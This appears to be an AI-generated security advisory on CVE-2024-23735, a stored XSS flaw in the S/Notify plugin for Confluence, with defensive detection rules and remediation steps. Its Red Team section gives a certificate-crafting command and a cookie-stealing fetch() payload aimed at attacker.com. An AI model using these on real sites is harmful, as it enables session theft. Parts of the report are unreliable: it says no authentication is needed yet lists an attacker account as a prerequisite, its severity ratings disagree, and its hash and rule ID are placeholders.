CVE-2024-23735

Executive Summary

CVE-2024-23735 is a stored Cross-Site Scripting (XSS) vulnerability in the Savignano S/Notify plugin for Atlassian Confluence, affecting versions prior to 4.0.0. The flaw resides in the S/MIME certificate upload functionality within the User Profile pages. An attacker can upload a specially crafted certificate containing malicious JavaScript, which is then stored and executed in the context of other users' browsers when they view the affected profile. This allows for session hijacking, credential theft, and unauthorized actions on behalf of the victim. The vulnerability requires user interaction (viewing a profile) but no authentication to exploit, making it a high-severity risk for Confluence instances using the plugin.

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It is a Java-based plugin for the Atlassian Confluence ecosystem, distributed via the Atlassian Marketplace. The risk is limited to Confluence instances with the S/Notify plugin installed.

CVSS Breakdown & Threat Level

While the official CVSS vector is not provided, based on the vulnerability characteristics, a reasonable assessment is:

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – Unauthenticated users can upload certificates.
• User Interaction (UI): Required (R) – Victim must view the attacker's profile.
• Scope (S): Changed (C) – The vulnerable component impacts resources beyond its security scope.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): None (N) – No impact on availability.

Estimated CVSS Score: 6.1 (Medium)

Threat Level: High – Due to the ease of exploitation and potential for account takeover in a collaborative environment like Confluence.

Deep Dive & Mechanics

The vulnerability exists in the S/Notify plugin's handling of S/MIME certificate uploads. The plugin allows users to upload a certificate (typically a .pem or .der file) to enable encrypted email notifications. The flaw is that the plugin does not properly sanitize or validate the content of the certificate before storing it and displaying it back to other users.

Attack Flow:

1. An attacker registers or uses an existing Confluence account.
2. The attacker navigates to their User Profile and uploads a malicious S/MIME certificate.
3. The certificate is crafted to include a JavaScript payload within a field that is later rendered in the browser (e.g., the Subject or Issuer field).
4. When another user views the attacker's profile, the malicious script executes in the victim's browser context.
5. The script can steal session cookies, perform actions on behalf of the victim, or redirect to a phishing page.

Root Cause: Lack of output encoding when rendering certificate details in the user profile page. The plugin likely uses a template that directly inserts certificate fields into HTML without escaping.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// In a servlet or controller handling certificate upload
String subject = certificate.getSubjectX500Principal().getName();
// Stored directly without sanitization
userProfile.setCertificateSubject(subject);

// In the JSP/HTML template
<div>Certificate Subject: <%= userProfile.getCertificateSubject() %></div>

Patched Code (Conceptual):

// After upgrade to 4.0.0
String subject = certificate.getSubjectX500Principal().getName();
// Sanitize using a library like OWASP Java Encoder
String safeSubject = Encode.forHtml(subject);
userProfile.setCertificateSubject(safeSubject);

// In the JSP/HTML template
<div>Certificate Subject: <c:out value="${userProfile.certificateSubject}" /></div>

The patch ensures that all certificate fields are HTML-encoded before rendering, preventing script execution.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A Confluence instance with S/Notify < 4.0.0.
• An attacker account on the Confluence instance.

Steps:

1. Generate a self-signed S/MIME certificate with a malicious payload in the Subject field:

   openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes -subj "/CN=<script>alert('XSS')</script>"
   

2. Log in to Confluence as the attacker.
3. Navigate to User Profile > Settings > S/MIME Certificate.
4. Upload the cert.pem file.
5. Share the attacker's profile link with the victim.
6. When the victim views the profile, the script executes.

Advanced Payload:

// In the certificate Subject field
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team (Defensive)

Detection:

• Monitor for unusual certificate uploads, especially those with HTML/JavaScript in certificate fields.
• Use the YARA and Sigma rules provided in the Detection Engineering section.
• Review Confluence access logs for repeated profile views from different IPs.

Mitigation:

• Immediately upgrade S/Notify to version 4.0.0 or later.
• If upgrade is not possible, disable the S/MIME certificate upload feature via plugin configuration.
• Implement a Web Application Firewall (WAF) rule to block requests containing <script> tags in certificate upload parameters.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (Example – actual hashes will vary)
  • e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (malicious cert)
• Network Indicators:
  • Outbound connections to attacker-controlled domains from Confluence server.
  • HTTP requests containing certificate parameter with encoded JavaScript.
• Log Entries:
  • Confluence audit logs showing certificate uploads from non-admin users.
  • Repeated GET /users/<username>/profile requests from the same IP.

Detection Engineering

YARA Rule

rule CVE_2024_23735_SNotify_XSS {
    meta:
        description = "Detects malicious S/MIME certificates with XSS payloads targeting CVE-2024-23735"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-23735"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/i
        $cert_header = "-----BEGIN CERTIFICATE-----"
    condition:
        $cert_header and any of ($xss*)
}

Sigma Rule

title: CVE-2024-23735 S/Notify XSS Certificate Upload
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects upload of S/MIME certificates containing XSS payloads
author: Valters IT
date: 2024/01/01
logsource:
    category: application
    product: confluence
detection:
    selection:
        EventID: 'certificate_upload'
        CertificateSubject|contains|all:
            - '<script'
            - '>'
    condition: selection
falsepositives:
    - Legitimate certificates with unusual subject fields (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-23735 S/Notify XSS Certificate Upload"; flow:to_server,established; content:"POST"; http_method; content:"/rest/snotify/1.0/certificate"; http_uri; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update S/Notify for Confluence to version 4.0.0 or later. This is the only official patch.
2. Disable Feature: If upgrade is not possible, disable the S/MIME certificate upload feature in the plugin configuration.
3. WAF Rule: Deploy a WAF rule to block POST requests to /rest/snotify/1.0/certificate containing HTML tags.

Long-Term Measures:

• Implement input validation and output encoding for all user-uploaded content.
• Conduct regular security audits of third-party plugins.
• Enable Content Security Policy (CSP) headers to mitigate XSS impact.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters.it.